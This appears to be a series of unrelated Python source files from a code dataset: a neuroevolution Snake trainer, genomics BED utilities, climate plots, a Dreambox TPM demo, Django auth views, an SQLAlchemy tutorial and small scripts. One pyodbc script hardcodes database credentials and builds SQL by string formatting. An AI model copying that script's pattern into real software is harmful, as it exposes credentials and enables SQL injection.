ind2[idx][j] * 0.90 for j in range(len(array_mut2))])\n\n model1 = create_model()\n # print(len(ind1))\n model1.set_weights(ind1)\n model2 = create_model()\n model2.set_weights(ind2)\n # print(len(ind1[\n # idx]))\n return model1, model2\n\n\ndef create_indi(list_indi):\n list_indi_all = []\n for ind in range(len(list_indi)):\n for ind_mut in range(1, 3):\n if ind + ind_mut >= len(list_indi):\n a, b = crossover(np.array(list_indi[ind].get_weights()),np.array(list_indi[-(ind + ind_mut) + len(list_indi)].get_weights()))\n list_indi_all.append(a)\n list_indi_all.append(b)\n else:\n #\n c, d = crossover(np.array(list_indi[ind].get_weights()),np.array(list_indi[ind + ind_mut].get_weights()))\n list_indi_all.append(c)\n list_indi_all.append(d)\n\n return list_indi_all\n\n\nif __name__ == \"__main__\":\n\n import argparse\n\n parser = argparse.ArgumentParser(description='Select the mode process [prod, hom, dev, test]')\n parser.add_argument('--version', dest='version', help='version to run')\n args = parser.parse_args()\n\n list_ind_all = []\n list_ind_score = []\n list_best_ind = []\n list_ind_score_indx = []\n\n import pandas as pd\n\n from tqdm import tqdm\n\n epoch = 0\n population = 400\n import numpy as np\n\n clear()\n try:\n snake = Snake(args.version)\n qtd_ind_gen = int(population / 4)\n for ind in tqdm(range(0, population)):\n list_ind_all.append(create_model())\n for idx, obj in enumerate(list_ind_all):\n list_ind_score.append(snake.run(obj, epoch))\n list_ind_score_indx.append(idx)\n # INDEX #SCORE\n df = pd.DataFrame(list_ind_score_indx, index=list_ind_score)\n df.sort_index(inplace=True)\n # print(df)\n\n bests = df[0].values[-qtd_ind_gen:]\n\n for id in bests:\n list_best_ind.append(list_ind_all[id])\n\n # list_best_ind = pickle.load(open(\"bests.pkl\", 'rb'))\n\n while True: # TRAINING EPOCS\n epoch += 1\n snake.best_score = 0\n # clear()\n list_ind_all = []\n list_ind_all = create_indi(list_best_ind)\n\n list_ind_score = []\n list_ind_score_indx = []\n list_best_ind = []\n snake.rond = [random.randrange(snake.padding * 2, snake.height_width - snake.padding * 2, snake.padding),\n random.randrange(snake.padding * 2, snake.height_width - snake.padding * 2, snake.padding)]\n\n for idx, obj in enumerate(list_ind_all):\n list_ind_score.append(snake.run(obj, epoch))\n list_ind_score_indx.append(idx)\n\n df = pd.DataFrame(list_ind_score_indx, index=list_ind_score)\n df.sort_index(inplace=True)\n # print(df)\n bests = df[0].values[-qtd_ind_gen:]\n print(df)\n print(bests)\n for id in bests:\n list_best_ind.append(list_ind_all[id])\n\n\n except Exception as e:\n formatted_lines = traceback.format_exc().splitlines()\n message = '\\n'.join(formatted_lines)\n print(f\"LOG[ERROR] {message}\")\n\n# pygame.mixer.music.load(\"teste.wav\")\n# pygame.mixer.music.play(-1)\n","sub_path":"train_epsilon.py","file_name":"train_epsilon.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373081393","text":"import pandas as pd\nimport os\nfrom urllib.request import urlopen\nimport urllib.request, urllib.error, urllib.parse\nimport io\nimport gzip\nimport pybedtools\nfrom pybedtools import BedTool\nfrom .gtf import GTFtoBED\nfrom functools import reduce\n\ndef writeBED(inBED, file_path):\n \"\"\"\n Writes a bed dataframe into a bed file.\n Bed format: 'chrom','chromStart','chromEnd','name','score','strand'\n\n :param inBED: bed dataframe to be written.\n :param file_path: /path/to/file.bed\n\n :returns: nothing\n\n \"\"\"\n inBED.to_csv(file_path,index=None,sep=\"\\t\",header=None)\n\ndef GetBEDnarrowPeakgz(URL_or_PATH_TO_file):\n \"\"\"\n Reads a gz compressed BED narrow peak file from a web address or local file\n\n :param URL_or_PATH_TO_file: web address of path to local file\n\n :returns: a Pandas dataframe\n \"\"\"\n\n if os.path.isfile(URL_or_PATH_TO_file):\n response=open(URL_or_PATH_TO_file, \"r\")\n compressedFile = io.StringIO(response.read())\n else:\n response = urllib.request.urlopen(URL_or_PATH_TO_file)\n compressedFile = io.StringIO(response.read())\n decompressedFile = gzip.GzipFile(fileobj=compressedFile)\n out=decompressedFile.read().split(\"\\n\")\n out=[ s.split(\"\\t\") for s in out]\n out=pd.DataFrame(out)\n out.columns=[\"chrom\",\"chromStart\",\"chromEnd\",\"name\",\"score\",\"strand\",\"signalValue\",\"-log10(pValue)\",\"-log10(qvalue)\",\"peak\"]\n out[\"name\"]=out.index.tolist()\n out[\"name\"]=\"Peak_\"+out[\"name\"].astype(str)\n out=out[:-1]\n return out\n\ndef dfTObedtool(df):\n \"\"\"\n Transforms a pandas dataframe into a bedtool\n\n :param df: Pandas dataframe\n\n :returns: a bedtool\n \"\"\"\n\n df=df.astype(str)\n df=df.drop_duplicates()\n df=df.values.tolist()\n df=[\"\\t\".join(s) for s in df ]\n df=\"\\n\".join(df)\n df=BedTool(df, from_string=True)\n return df\n\ndef GetPeaksExons(bedtool_AB,parsedGTF):\n \"\"\"\n Annotates a bedtool, BED narrow peak\n\n :param bedtool_AB: a bedtool\n :param parsedGTF: a parsed GTF file as outputed by parseGTF()\n\n :returns: a Pandas dataframe\n \"\"\"\n\n exonsGTF=parsedGTF[parsedGTF[\"feature\"]==\"exon\"]\n exonsGTF.reset_index(inplace=True, drop=True)\n\n exonsBED=GTFtoBED(exonsGTF, \"exon_id\")\n bedtool_exons=dfTObedtool(exonsBED)\n\n\n\n bedtool_target_exons=bedtool_AB.intersect(bedtool_exons, wo=True, s=True)\n dfTargetE=pd.read_table(bedtool_target_exons.fn, names=[\"chrom\",\"chromStart\",\"chromEnd\",\"name\",\"score\",\\\n \"strand\",\"signal_Value\",\"-log10(pValue)\",\\\n \"-log10(qValue)\",\"peak\",'seqname', 'start', 'end', \\\n 'exon_id', 'score_exon', 'strand_exon', \"overlap\"])\n ExonsTransGenes=parsedGTF[[\"exon_id\",\"transcript_id\",\"gene_id\"]].drop_duplicates()\n dfTargets=pd.merge(dfTargetE,ExonsTransGenes,on=[\"exon_id\"],how=\"left\")\n dfTargets[\"count\"]=1\n\n def getCounts(df,field):\n \"\"\"\n For each field in a bed narrow peak returns the number or times that field is present,\\\n the normalized mean of the '-log10(pValue)' and normalized mean of the signal value.\n\n :param df: a Pandas dataframe of a bed narrow peak\n :param field: field to analyse, ie. exons or transcripts\n\n :returns: a Pandas dataframe\n \"\"\"\n\n tmp=df[[field,'name',\"count\"]].drop_duplicates()\n tmp=tmp.drop([\"name\"],axis=1)\n tmp[\"count\"]=tmp[\"count\"].astype(int)\n tmp.columns=[field,\"%s_count\" %str(field)]\n tmp=tmp.groupby(field, as_index=False).sum()\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n tmp=df[[field,'name',\"-log10(pValue)\"]].drop_duplicates()\n tmp=tmp.drop([\"name\"],axis=1)\n tmp[\"-log10(pValue)\"]=tmp[\"-log10(pValue)\"].astype(float)\n tmp=tmp.groupby(field).apply(lambda l: reduce(lambda x, y: x*y, l[\"-log10(pValue)\"]) )\n tmp=pd.DataFrame(tmp)\n tmp.reset_index(inplace=True,drop=False)\n tmp.columns=[field,\"%s norm. mean -log10(pValue)\" %str(field)]\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n tmp=df[[field,'name',\"signal_Value\"]].drop_duplicates()\n tmp=tmp.drop([\"name\"],axis=1)\n tmp[\"signal_Value\"]=tmp[\"signal_Value\"].astype(float)\n tmp=tmp.groupby(field).apply(lambda l: reduce(lambda x, y: x*y, l[\"signal_Value\"]) )\n tmp=pd.DataFrame(tmp)\n tmp.reset_index(inplace=True,drop=False)\n tmp.columns=[field,\"%s signal_Value\" %str(field)]\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n return df\n\n for f in [\"exon_id\",\"transcript_id\"]:\n dfTargets=getCounts(dfTargets,f)\n\n def getCounts_GeneIDs(df):\n \"\"\"\n For each gene id in a bed narrow peak returns the number or times that field is present,\\\n the normalized mean of the '-log10(pValue)' and normalized mean of the signal value.\n\n :param df: a Pandas dataframe of a bed narrow peak\n\n :returns: a Pandas dataframe\n \"\"\"\n\n field=\"gene_id\"\n\n tmp=df[[field,\"transcript_id\",\"transcript_id_count\"]].drop_duplicates()\n tmp=tmp.drop([\"transcript_id\"],axis=1)\n tmp[\"transcript_id_count\"]=tmp[\"transcript_id_count\"].astype(int)\n tmp.columns=[field,\"%s_count\" %str(field)]\n tmp=tmp.groupby(field, as_index=False).sum()\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n tmp=df[[field,'transcript_id',\"transcript_id norm. mean -log10(pValue)\"]].drop_duplicates()\n tmp=tmp.drop([\"transcript_id\"],axis=1)\n tmp[\"transcript_id norm. mean -log10(pValue)\"]=tmp[\"transcript_id norm. mean -log10(pValue)\"].astype(float)\n tmp.columns=[field,\"%s norm. mean -log10(pValue)\" %str(field)]\n tmp=tmp.groupby(field, as_index=False).sum()\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n\n\n tmp=df[[field,'transcript_id',\"transcript_id signal_Value\"]].drop_duplicates()\n tmp=tmp.drop([\"transcript_id\"],axis=1)\n tmp[\"transcript_id signal_Value\"]=tmp[\"transcript_id signal_Value\"].astype(float)\n tmp.columns=[field,\"%s signal_Value\" %str(field)]\n tmp=tmp.groupby(field, as_index=False).sum()\n df=pd.merge(df,tmp,on=field,how=\"left\")\n\n return df\n\n dfTargets=getCounts_GeneIDs(dfTargets)\n\n\n dfTargets=dfTargets.drop([\"count\"],axis=1)\n return dfTargets\n","sub_path":"AGEpy/bed.py","file_name":"bed.py","file_ext":"py","file_size_in_byte":6353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"90380190","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThe script reads monthly average temperatures data for Helsinki. Then monthly\r\naverage temperatures sorts into special empty DataFrame for each season in each year..\r\nAuthor: Pavel Zhuchkov - 17.04.2018\r\n\"\"\"\r\n\r\n# Import modules\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Read file\r\ndataHel = pd.read_csv('helsinki.csv',usecols=['YM','TAVG_Celsius','avgTempsC','Diff'])\r\n\r\n# Convert column to datetime type\r\ndataHel['YM'] = pd.to_datetime(dataHel['YM'],format='%Y%m')\r\n\r\n# Set datetime index\r\ndataHel = dataHel.set_index('YM')\r\n\r\n# Create time index\r\ntimeindex = pd.date_range('1953','2016',freq='AS')\r\n\r\n# Create empty DataFrame\r\nseasonalData = pd.DataFrame(index=timeindex, columns=['Winter','Spring','Summer','Fall'])\r\n\r\n# Loop seasons and fill empty DataFrame\r\nfor i in range(1953,2017):\r\n winter = dataHel[str(i-1)+'-12-01':str(i)+'-02-01'].mean()\r\n spring = dataHel[str(i)+'-03-01':str(i)+'-05-01'].mean()\r\n summer = dataHel[str(i)+'-06-01':str(i)+'-08-01'].mean()\r\n fall = dataHel[str(i)+'-09-01':str(i)+'-11-01'].mean()\r\n seasonalData.loc[str(i)+'-01-01', ['Winter']] = winter['Diff']\r\n seasonalData.loc[str(i)+'-01-01', ['Spring']] = spring['Diff']\r\n seasonalData.loc[str(i)+'-01-01', ['Summer']] = summer['Diff']\r\n seasonalData.loc[str(i)+'-01-01', ['Fall']] = fall['Diff']\r\n\r\n# Change style of plots\r\nplt.style.use('seaborn-whitegrid')\r\n\r\n# Create subplots\r\nfig, axes = plt.subplots(nrows=2, ncols=2, figsize=(12,8))\r\n\r\n# Create variables of subplots\r\nax11 = axes[0][0]\r\nax12 = axes[0][1]\r\nax21 = axes[1][0]\r\nax22 = axes[1][1]\r\n\r\n# Create array of y-ticks\r\nyticks = np.arange(start=-5, stop=6, step=2.5)\r\n\r\n# Create subplots\r\nseasonalData.plot(x=seasonalData.index, y='Winter', ax=ax11, c='blue', legend=False, lw=2.5, ylim=(-7, 7), xlim=('1950','2019'))\r\nseasonalData.plot(x=seasonalData.index, y='Spring', ax=ax12, c='blue', legend=False, lw=2.5, ylim=(-7, 7), xlim=('1950','2019'))\r\nseasonalData.plot(x=seasonalData.index, y='Summer', ax=ax21, c='blue', legend=False, lw=2.5, ylim=(-7, 7), xlim=('1950','2019'))\r\nseasonalData.plot(x=seasonalData.index, y='Fall', ax=ax22, c='blue', legend=False, lw=2.5, ylim=(-7, 7), xlim=('1950','2019'))\r\n\r\n# Set y-axis labels\r\nfor ax in [ax11,ax21]:\r\n ax.set_ylabel('Temperature [°C]')\r\n\r\n# Set x-axis labels \r\nfor ax in [ax21,ax22]:\r\n ax.set_xlabel('Date')\r\n\r\n# Add legend with parameters\r\nfor ax in [ax11,ax12,ax21,ax22]:\r\n ax.legend(frameon=True,loc='best',framealpha=0.5)\r\n \r\n# Set y-ticks\r\nfor ax in [ax11,ax12,ax21,ax22]:\r\n ax.yaxis.set_ticks(yticks)\r\n\r\n# Tight layout\r\nplt.tight_layout()\r\n ","sub_path":"anomaly_subplots.py","file_name":"anomaly_subplots.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"475787593","text":"#!/usr/bin/env python\n#\n# Copyright (C) 2019 Dream Property GmbH, Germany\n# https://dreambox.de/\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\n\"\"\"\nThis class exists for demonstrational purposes only. On a Dreambox, enigma2\nprovides its own implementation. You don't need to include it in your project.\n\"\"\"\n\nclass eTPM():\n _TPMD_SOCKET = '/var/run/tpmd_socket'\n\n _TPMD_CMD_GET_DATA = 0x01\n _TPMD_CMD_COMPUTE_SIGNATURE = 0x03\n _TPMD_CMD_GET_DATA_V2 = 0x11\n\n DT_PROTOCOL_VERSION = 0x01\n DT_TPM_VERSION = 0x02\n DT_LEVEL2_CERT = 0x04\n DT_LEVEL3_CERT = 0x05\n\n\n def __init__(self):\n self._socket = self._connect()\n self._protocol_version = None\n self._tpm_version = None\n\n\n def getData(self, data_type):\n if self._protocol_version is None and data_type != self.DT_PROTOCOL_VERSION:\n self.getData(self.DT_PROTOCOL_VERSION)\n\n buf = bytearray()\n buf.append(data_type)\n\n if self._protocol_version is None or self._protocol_version < 3:\n cmd_get_data = self._TPMD_CMD_GET_DATA\n else:\n cmd_get_data = self._TPMD_CMD_GET_DATA_V2\n\n data = self._cmd(cmd_get_data, buf)\n\n assert(len(data) >= 2)\n assert(int(data[0]) == data_type)\n\n if self._protocol_version is None or self._protocol_version < 3:\n count = data[1]\n offset = 2\n else:\n assert(len(data) >= 3)\n count = (data[1] << 8) | data[2]\n offset = 3\n\n assert(len(data) == offset + count)\n payload = data[offset:]\n\n if data_type == self.DT_PROTOCOL_VERSION:\n assert(len(payload) == 1)\n self._protocol_version = payload[0]\n elif data_type == self.DT_TPM_VERSION:\n assert(len(payload) == 1)\n self._tpm_version = payload[0]\n\n return payload\n\n\n def computeSignature(self, plaintext):\n if not self._tpm_version:\n self.getData(self.DT_TPM_VERSION)\n\n return self._cmd(self._TPMD_CMD_COMPUTE_SIGNATURE, plaintext)\n\n\n def _connect(self):\n import socket\n s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n s.connect(self._TPMD_SOCKET)\n return s\n\n\n def _send_cmd(self, cmd, data):\n header = bytearray()\n header.append((cmd >> 8) & 0xff)\n header.append((cmd >> 0) & 0xff)\n header.append((len(data) >> 8) & 0xff)\n header.append((len(data) >> 0) & 0xff)\n self._socket.sendall(header + data)\n\n\n def _recv_cmd(self):\n buf = bytearray(self._socket.recv(4))\n cmd = (buf[0] << 8) | buf[1]\n count = (buf[2] << 8) | buf[3]\n data = bytearray(self._socket.recv(count))\n assert(len(data) == count)\n return cmd, data\n\n\n def _cmd(self, cmd, data):\n self._send_cmd(cmd, data)\n rcmd, rdata = self._recv_cmd()\n assert(rcmd == cmd)\n return rdata\n","sub_path":"Python/enigma/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"588351981","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse\n\nfrom .models import User\nfrom ..books.models import Book, Review\nfrom django.db.models import Count\n\n\n# Create your views here.\ndef index(request):\n return render(request, 'users/index.html')\n\ndef login(request):\n if request.method == \"POST\":\n post_data = {\n 'email': request.POST['email'],\n 'password': request.POST['password']\n }\n\n response = User.objects.login(post_data)\n\n if type(response) is list:\n for error in response:\n messages.error(request, error)\n return redirect('/')\n else:\n user = {\n 'id': response.id,\n 'name': response.alias\n }\n request.session['user'] = user\n return redirect(reverse('books:index'))\n\ndef register(request):\n if request.method == \"POST\":\n post_data = {\n 'name': request.POST['name'],\n 'alias': request.POST['alias'],\n 'email': request.POST['email'],\n 'password': request.POST['password'],\n 'password_confirmation': request.POST['password_confirmation'],\n }\n\n response = User.objects.register(post_data)\n\n if type(response) is list:\n for error in response:\n messages.error(request, error)\n return redirect('/')\n else:\n user = {\n 'id': response.id,\n 'name': response.alias\n }\n request.session['user'] = user\n return redirect(reverse('books:index'))\n\n\ndef show(request, user_id):\n user = User.objects.annotate(num_reviews=Count('user_reviews')).get(id=user_id)\n books_reviewed = [ {'id': book.id, 'title': book.title} for book in Book.objects.filter(book_reviews__user__id=user_id).distinct() ]\n\n context = {\n 'alias': user.alias,\n 'name': user.name,\n 'email': user.email,\n 'reviews': user.num_reviews,\n 'books_reviewed': books_reviewed\n }\n\n return render(request, 'users/show.html', context)\n\ndef logout(request):\n try:\n request.session.pop('user')\n return redirect('/')\n except:\n messages.error(request, \"Logout Failed\")\n return redirect(reverse('books:index'))\n","sub_path":"django/belt_reviewer_assignment/apps/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"501138909","text":"#!/usr/bin/env python\n# Hangman game in python3\n\n__author__ = \"hippybear\"\n__copyright__ = \"Copyright 2017, Code Blind\"\n__license__ = \"MIT\"\n__email__ = \"yosi@codeblind.org\"\n\nimport random\n\nletters_guessed = []\n\n# get_word(Int)\n#\n# GET words from 'words.txt' and randomly\n# grab one word to use as the word to guess\n# against\n\ndef get_word(val):\n user_list = []\n with open('words.txt') as f:\n content = f.readlines()\n # remove \\n from end of line\n content = [x.strip() for x in content]\n val = int(val)\n\n for i in content:\n if len(i) == val:\n user_list.append(i)\n\n if len(user_list) == 0:\n print(\"No Words Match\")\n else:\n return random.choice(user_list)\n\ndef get_hold_str(word):\n holdStr = \"\"\n holdArr = []\n\n for i in word:\n holdArr.append(\"_\")\n\n for i in holdArr:\n holdStr += \"_\"\n\n print(word)\n print(holdStr)\n\nw = get_word(7)\nget_hold_str(w)\n","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548630595","text":"from datetime import datetime\n\nfrom sqlalchemy import (Table, Column, Integer, Numeric, String, DateTime,\n ForeignKey)\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, backref\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nengine = create_engine('sqlite:///:memory:')\n\nSession = sessionmaker(bind=engine)\n\nsession = Session()\n\nBase = declarative_base()\n\n\nclass Cookie(Base):\n __tablename__ = 'cookies'\n\n cookie_id = Column(Integer(), primary_key=True)\n cookie_name = Column(String(50), index=True)\n cookie_recipe_url = Column(String(255))\n cookie_sku = Column(String(55))\n quantity = Column(Integer())\n unit_cost = Column(Numeric(12, 2))\n\n def __repr__(self):\n return \"Cookie(cookie_name='{self.cookie_name}', \" \\\n \"cookie_recipe_url='{self.cookie_recipe_url}', \" \\\n \"cookie_sku='{self.cookie_sku}', \" \\\n \"quantity={self.quantity}, \" \\\n \"unit_cost={self.unit_cost})\".format(self=self)\n\n\nclass User(Base):\n __tablename__ = 'users'\n\n user_id = Column(Integer(), primary_key=True)\n username = Column(String(15), nullable=False, unique=True)\n email_address = Column(String(255), nullable=False)\n phone = Column(String(20), nullable=False)\n password = Column(String(25), nullable=False)\n created_on = Column(DateTime(), default=datetime.now)\n updated_on = Column(DateTime(), default=datetime.now,\n onupdate=datetime.now)\n\n def __repr__(self):\n return \"User(username='{self.username}', \" \\\n \"email_address='{self.email_address}', \" \\\n \"phone='{self.phone}', \" \\\n \"password='{self.password}')\".format(self=self)\n\nclass Order(Base):\n __tablename__ = 'orders'\n order_id = Column(Integer(), primary_key=True)\n user_id = Column(Integer(), ForeignKey('users.user_id'))\n\n user = relationship(\"User\", backref=backref('orders', order_by=order_id))\n\n def __repr__(self):\n return \"Order(user_id={self.user_id}, \" \\\n \"shipped={self.shipped})\".format(self=self)\n\n\nclass LineItems(Base):\n __tablename__ = 'line_items'\n line_item_id = Column(Integer(), primary_key=True)\n order_id = Column(Integer(), ForeignKey('orders.order_id'))\n cookie_id = Column(Integer(), ForeignKey('cookies.cookie_id'))\n quantity = Column(Integer())\n extended_cost = Column(Numeric(12, 2))\n order = relationship(\"Order\", backref=backref('line_items',\n order_by=line_item_id))\n cookie = relationship(\"Cookie\", uselist=False, order_by=id)\n\n def __repr__(self):\n return \"LineItems(order_id={self.order_id}, \" \\\n \"cookie_id={self.cookie_id}, \" \\\n \"quantity={self.quantity}, \" \\\n \"extended_cost={self.extended_cost})\".format(\n self=self)\n\n\nBase.metadata.create_all(engine)\n\n\n\n\ndcc = Cookie(cookie_name='dark chocolate chip',\n cookie_recipe_url='http://some.aweso.me/cookie/recipe_dark.html',\n cookie_sku='CC02',\n quantity=1,\n unit_cost=0.75)\nmol = Cookie(cookie_name='molasses',\n cookie_recipe_url='http://some.aweso.me/cookie/recipe_molasses.html',\n cookie_sku='MOL01',\n quantity=1,\n unit_cost=0.80)\nsession.add(dcc)\nsession.add(mol)\nsession.flush()\nprint(dcc.cookie_id)\nprint(mol.cookie_id)\n\n\n\nc1 = Cookie(cookie_name='peanut butter',\n cookie_recipe_url='http://some.aweso.me/cookie/peanut.html',\n cookie_sku='PB01',\n quantity=24,\n unit_cost=0.25)\nc2 = Cookie(cookie_name='oatmeal raisin',\n cookie_recipe_url='http://some.okay.me/cookie/raisin.html',\n cookie_sku='EWW01',\n quantity=100,\n unit_cost=1.00)\nsession.bulk_save_objects([c1,c2])\nsession.commit()\nprint(c1.cookie_id)\n\n\n\nfor cookie in session.query(Cookie):\n print(cookie)\n\n\n\n# Use the iterable version of the query over the all() method. It is more memory efficient than handling a full list of objects and we tend to operate on the data one record at a time anyway.\nprint(session.query(Cookie.cookie_name, Cookie.quantity).first())\n\n\n\nfor cookie in session.query(Cookie).order_by(Cookie.quantity): # Cookie.quantity.desc()\n print('{:3} - {}'.format(cookie.quantity, cookie.cookie_name))\n\nquery = session.query(Cookie).order_by(Cookie.quantity)[:2]\nprint([result.cookie_name for result in query])\nquery = session.query(Cookie).order_by(Cookie.quantity).limit(2)\nprint([result.cookie_name for result in query])\n\n\n# SUM\nfrom sqlalchemy import func\ninv_count = session.query(func.sum(Cookie.quantity)).scalar()\nprint(inv_count)\n\n\n# LIKE operator\nrec_count = session.query(func.count(Cookie.cookie_name).label('inventory_count')).first()\nprint(rec_count.keys())\nprint(rec_count.inventory_count)\n\nquery = session.query(Cookie).filter(Cookie.cookie_name.like('%chocolate%'))\nfor record in query:\n print(record.cookie_name)\n\n\n# CAST operator\nfrom sqlalchemy import cast\nquery = session.query(Cookie.cookie_name,\n cast((Cookie.quantity * Cookie.unit_cost),\n Numeric(12,2)).label('inv_cost'))\nfor result in query:\n print('{} - {}'.format(result.cookie_name, result.inv_cost))\n\n\n\n# UPDATE\nquery = session.query(Cookie)\ncc_cookie = query.filter(Cookie.cookie_name == \"chocolate chip\").first()\ncc_cookie.quantity = cc_cookie.quantity + 120\nsession.commit()\nprint(cc_cookie.quantity)\n# OR\nquery = session.query(Cookie)\nquery = query.filter(Cookie.cookie_name == \"chocolate chip\")\nquery.update({Cookie.quantity: Cookie.quantity - 20})\ncc_cookie = query.first()\nprint(cc_cookie.quantity)\n\n\n# DELETE\nquery = session.query(Cookie)\nquery = query.filter(Cookie.cookie_name == \"molasses\")\nquery.delete()\n\n\n\n# JOINS\nquery = session.query(Order.order_id, User.username, User.phone,\n Cookie.cookie_name, LineItem.quantity,\n LineItem.extended_cost)\nquery = query.join(User).join(LineItem).join(Cookie)\nresults = query.filter(User.username == 'cookiemon').all()\nprint(results)\n\n\nquery = session.query(User.username, func.count(Order.order_id))\nquery = query.outerjoin(Order).group_by(User.username)\nfor row in query:\n print(row)\n\n\n\n# SELF referential table\nclass Employee(Base):\n __tablename__ = 'employees'\n\n id = Column(Integer(), primary_key=True)\n manager_id = Column(Integer(), ForeignKey('employees.id'))\n name = Column(String(255), nullable=False)\n\n manager = relationship(\"Employee\", backref=backref('reports'),\n remote_side=[id])","sub_path":"orm/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529157728","text":"# -*- coding: utf-8 -*-\r\n\r\nimport requests\r\nimport os\r\n# import pymssql\r\nimport pyodbc\r\n\r\nuname = {'HtmlTable': 'hhhhhhhhhhhh'}\r\n\r\nhh ={'Link': 'https://bj.lianjia.com/chengjiao/yongdingmen/https://bj.lianjia.com/chengjiao/101101477724.html'}\r\n\r\n# conn = pyodbc.connect(\r\n# r'DRIVER={SQL Server Native Client 10.0}',\r\n# SERVER=\"192.168.1.130\",\r\n# UID=\"grab\",\r\n# PWD=\"sld+1234\",\r\n# DATABASE=\"Tab_JiaoYi\",\r\n# )\r\n\r\n\r\nconn = pyodbc.connect(\r\n 'DRIVER={SQL Server};SERVER=192.168.1.130;DATABASE=Tab_JiaoYi;UID=grab;PWD=sld+1234')\r\n\r\n\r\ncur = conn.cursor()\r\n\r\n\r\nsql = \"insert into Table_Html(Link, HtmlTable) values('%s','%s')\" %(hh['Link'], uname['HtmlTable'])\r\nnum = cur.execute(sql)\r\nconn.commit()\r\n\r\n# print cur.fetchall()\r\n\r\ncur.close()\r\nconn.close()\r\nprint('[ok]')\r\n","sub_path":"myspider3/test/sql_db.py","file_name":"sql_db.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282198101","text":"import boto3\nimport logging\nimport json\n\nfrom django.conf import settings\n\nlogger = logging.getLogger()\n\n\nclass SQSHandler:\n \"\"\"\n Class for managing interactions with an Amazon SQS endpoint\n \"\"\"\n\n # Get the service resource\n session = None\n sqs = None\n queue = None\n logger = logging.getLogger()\n\n def __init__(self, queue_name):\n \"\"\"\n Default constructor\n :param queue_name: The name of the queue to publish messages to.\n \"\"\"\n self.logger.debug(\"Configuring SQS queue\")\n\n try:\n self.session = boto3.Session(\n aws_access_key_id=settings.AWS_SQS_ACCESS_KEY_ID,\n aws_secret_access_key=settings.AWS_SQS_SECRET_ACCESS_KEY,\n region_name='eu-west-2'\n )\n\n # Get the queue. This returns an SQS.Queue instance\n self.sqs = self.session.resource('sqs')\n self.queue = self.sqs.get_queue_by_name(QueueName=queue_name)\n except Exception as e:\n logger.error(e)\n self.queue = self.sqs.create_queue(QueueName=queue_name)\n\n def send_message(self, body):\n \"\"\"\n Genericised method for publishing a message to an SQS queue\n \"\"\"\n try:\n response = self.queue.send_message(MessageBody=json.dumps(body))\n return response\n except Exception as e:\n self.logger.error(e)\n","sub_path":"application/messaging/sqs_handler.py","file_name":"sqs_handler.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568090704","text":"import os,sys,uuid\n\nfrom setuptools import setup\nreqs = ['six', 'dill']\n\nfrom pythoscope import __version__ as VERSION\n\nsetup(\n name='pythoscope',\n version=VERSION,\n\n author = 'Michal Kwiatkowski',\n author_email = 'constant.beta@gmail.com',\n description = 'unit test generator for Python',\n long_description = open(\"README.md\").read() + \"\\n\" + open(\"Changelog\").read(),\n license = 'MIT',\n url = 'http://pythoscope.org',\n\n packages = ['pythoscope', 'pythoscope.inspector', 'pythoscope.generator',\n 'bytecode_tracer'],\n package_data = {'pythoscope': [],\n 'bytecode_tracer': []},\n\n classifiers = [\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Software Development :: Code Generators',\n 'Topic :: Software Development :: Testing',\n ],\n\n entry_points = {'console_scripts': ['pythoscope = pythoscope:main']},\n install_requires = reqs,\n test_suite = 